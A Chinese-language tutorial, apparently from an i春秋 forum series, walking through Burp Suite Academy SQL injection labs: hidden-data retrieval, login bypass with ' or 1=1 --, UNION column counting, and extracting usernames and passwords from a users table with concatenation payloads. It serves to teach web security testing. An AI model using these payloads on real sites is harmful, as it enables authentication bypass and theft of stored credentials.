說到SQL注入漏洞,各位小伙伴一定是耳熟能詳,作為一種常見的高危漏洞,其對於應用程序的損害是非常嚴重的。因此這也是一個在滲透測試的過程中具有高優先級的驗證目標,所以將與之相關的實驗進行優先講述。

本文是 i 春秋論壇作家「dll_s」表哥原創的Burpsuite練兵場系列文章,公眾號旨在為大家提供更多的學習方法與技能技巧,文章僅供學習參考。

SQL注入原理:SQL注入的原理其實並不難理解,Web應用程序后台獲取用戶輸入並將其拼接到SQL查詢語句中進行執行,而這里的用戶輸入就是我們可以構造惡意payload的地方,通過一些技巧使得查詢語句按照我們所希望的方式執行即可完成一次成功的SQL注入。正如大多數的Web漏洞一樣,究其漏洞本質就是未驗證用戶輸入,沒有實現輸入數據與程序執行語句的分離。
但是由於存在不同的數據庫(如常見的Oracle、SQL Server、Mysql等)所導致的具有微小差異性的SQL語句實現,以及我們無法直接觀察到后台的查詢邏輯,導致我們在實際的SQL注入漏洞搜尋過程當中往往也要花費不小的精力,同時也非常考察我們對於SQL語句的掌握程度。
話不多說,下面直接進入相關實驗及原理的介紹:
實驗內容
注意事項:
1、實驗僅對SQL注入原理進行簡單闡述,讀者需要有一定的SQL語言基礎;
2、針對SQL注入的專項訓練推薦使用sqli-labs開源靶場,閱讀源碼了解后台邏輯有助於進一步理解SQL注入原理;
3、SQL注入可分為數字型和字符型,不同語句注入的payload不同。
數字型查詢語句為:
SELECT * FROM products WHERE category = 1 -- 注入語句為 or 1=1 --
字符型查詢語句為:
SELECT * FROM products WHERE category = 'value' -- 注入語句為 'or 1=1 --
本節實驗均基於字符型注入。
實驗一:檢索隱藏數據
首先來看這樣一個URL:
https://insecure-website.com/products?category=Gifts
是不是非常熟悉,category為查詢參數,后台執行的SQL語句為:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
當我們把查詢參數變更為Gifts'這樣,則查詢語句變為了:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
原先查詢的另一條件released=1就被注釋掉了,因此查詢會返回所有category = 'Gifts'的數據。
我們進一步將查詢參數變更為category=Gifts'+OR+1=1,查詢語句變為了:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
結果將會返回products數據表中的所有數據,以此就可進行一次成功的SQL注入。
在這里再介紹一下不同數據庫注釋語句的差異(可以發現比較好的通用注釋方式即為-- )
- Oracle:REM 單行注釋 -- 單行注釋 /*多行注釋*/
- MS SQL Server: -- 單行注釋 /*多行注釋*/
- MySQL:# 單行注釋 -- 單行注釋(特別注意,-- 后需跟空格或控制字符) /*多行注釋*/
- PostgreSQL: -- 單行注釋 /*多行注釋*/
這就是這個實驗的SQL注入漏洞原理,下面我們進入到實驗環境當中:

通過實驗介紹,我們知道完成該實驗需要執行一次SQL注入以顯示所有產品細節,無論是否滿足release=1參數。
為了方便這一系列注入實驗的進行,推薦可以安裝一個chrome插件Harkbar,注意使用插件后雖然方便直接操作請求,但是需要注意url編碼問題,比如 -- 這一注釋后的空格是否成功附着到url中,可通過觀察地址欄是否為 -- %27進行探查,由於插件本身問題可能存在錯誤,這時還是推薦使用burpsuite來對請求進行修改。
這一插件具有許多有用的功能,在chrome環境下安裝好后按f12后點擊Harkbar切換到相應選項卡,點擊LOAD加載當前頁面url,點擊EXECUTE發送請求。

構造如圖所示url參數(注意 -- 后的空格),發送請求即可完成sql注入攻擊。

成功返回結果,實驗結束
實驗二:顛覆應用程序邏輯(任意用戶登錄)
我們在一些SQL注入教程中經常能看到類似'or 1=1這樣的注入語句用於繞過用戶登錄驗證,在這個實驗中學習的正是這樣的背后邏輯。
SELECT * FROM users WHERE username = ''or 1 -- ' AND password = '123'
這一條非常經典的在登錄過程中,應用后台的數據庫查詢語句,通過語句執行后的返回值是否為真判斷數據庫中是否有匹配的賬戶存在。
因此,我們只需要構造paylaod使該語句執行結果總為真即可實現任意用戶登錄,常見的payload如' or 1=1 --
SELECT * FROM users WHERE username = ''or 1 -- ' AND password = '123'
進入實驗,實驗完成要求:以administrator賬號身份登錄。

進入account login頁面,賬號值構造如圖所示,密碼輸入任意值。

成功登錄即可完成實驗
實驗三:從其他數據表中檢索數據(聯合查詢UNION注入)
在進行sql注入攻擊時,我們可以通過union語句進行聯合查詢,獲取其他數據表中的數據,這里以Mysql為例,簡要介紹下UNION操作符:
SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions] UNION [ALL | DISTINCT] SELECT expression1, expression2, ... expression_n FROM tables [WHERE conditions];
- expression1, expression2, ... expression_n:要檢索的列;
- tables:要檢索的數據表;
- WHERE conditions:可選, 檢索條件;
- DISTINCT:可選,刪除結果集中重復的數據。默認情況下 UNION 操作符已經刪除了重復數據,所以 DISTINCT 修飾符對結果沒啥影響;
- ALL:可選,返回所有結果集,包含重復數據。
SELECT a, b FROM table1 UNION SELECT c, d FROM table2; -- 從table1中檢索a,b並從table2中檢索c,d
注意執行union查詢需要滿足兩個條件:
- 各個查詢必須返回相同數量的列;
- 每個列中的數據類型必須在各個查詢之間兼容。
所以我們在進行union注入時需要先確定查詢語句中的列數,在這個實驗教程中介紹了兩種方法。
使用Order By子句
order by子句可以用於對查詢結果進行排序,通過接收一個列名為參數或一個簡單的能識別特定列的數字。
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
通過不斷遞增指向列的數字,直到返回錯誤以推斷出最大列數。
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3--
使用Union子句
如前所述,聯合查詢需要每個返回的列數相同,因此若列數不同便會返回錯誤,通過不斷遞增列直到返回正確信息。
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
接下來進入實驗

實驗需要我們探測出查詢語句中列的正確的數量,並執行SQL注入返回包含null數據的附加列。
使用order by子句進行猜測,使用'order by 3時成功返回結果。

使用'order by 4時返回結果錯誤,可以推斷出查詢語句中的列數量為3。

使用union查詢進行注入攻擊,完成實驗。

實驗四:通過SQL UNION注入查找有用的數據類型列
比如我們希望尋找一字符串類型的數據列,我們可以先查明正確的列數量,然后通過不斷更換union查詢子句中字符列的位置來進行確定。
' UNION SELECT 'a',NULL,NULL,NULL-- ' UNION SELECT NULL,'a',NULL,NULL-- ' UNION SELECT NULL,NULL,'a',NULL-- ' UNION SELECT NULL,NULL,NULL,'a'--
實驗完成條件:實驗提供了一個隨機的字符串,在查詢結果中顯示該字符串以完成實驗。

實驗生成的隨機字符串

首先通過order by子句確定列數為3,執行union查詢,不斷替換字符串位置直到返回正確結果。


返回了有效結果

使用實驗給出的字符串進行替換,發送請求完成實驗。

實驗五:通過SQL UNION注入檢索感興趣的數據
這一實驗需要我們通過SQL注入獲取到users表中所有的username和password數據,由於實驗已經告訴我們所需的數據位於該web應用后台數據庫中的莫具體表及字段當中,所以可以直接使用語句進行查詢。但在我們實際的滲透測試過程中,存在哪些讓人感興趣的數據是需要通過多次SQL注入進行推斷的,其具體細節留在后面章節再具體介紹。
實驗完成條件:通過SQL注入獲取賬號和密碼,並以administrator身份登錄。

首先使用order by子句判斷查詢列數,數量為2。
使用union查詢,獲取賬號信息。

使用administrator賬號登錄,完成實驗。
實驗六:通過字符串連接將多個值返回在一個列中
在上一個實驗中,我們使用了'union select username,password -- 這一payload,其成功執行的條件為原先的查詢列數也為兩列,且數據類型均為字符串類型。但在這一次的實驗中,通過‘union select 'a',NULL -- 測試可以發現僅第二列為字符串類型,因此我們需要將兩個查詢參數合並到一列中。
使用連接字符串將兩個查詢參數合並在一起,其返回結果構造類似administrator~s3cure。
' UNION SELECT username || '~' || password FROM users--
當然不同數據庫的字符串連接方式也不同。
- Oracle: 'foo'||'bar'
- SQL Server: 'foo'+'bar'
- Mysql: 'foo' 'bar'(空格) CONCAT('foo','bar')
- PostgreSQL: 'foo'||'bar'
實驗要求:通過SQL注入獲取賬號和密碼,並以administrator身份登錄。

判斷字符串位置

構造payload獲取賬號密碼

使用administrator成功登錄,完成實驗。
總結
本節實驗介紹了基礎的手動SQL注入實驗,匯總一下使用到的注入語句與技巧。
'or 1=1 -- 注入點判斷(語句永真) 'or order by 3 -- 判斷查詢語句列的數量 'union select NULL,'a' -- 判斷特定數據類型列的位置 'union select NULL,username||'~'||password -- 連接字符串以返回單一行
想要掌握SQL注入光理解原理是不行的,在學習中還是應該多進行實際的動手操作。
以上是今天要分享的內容,大家看懂了嗎?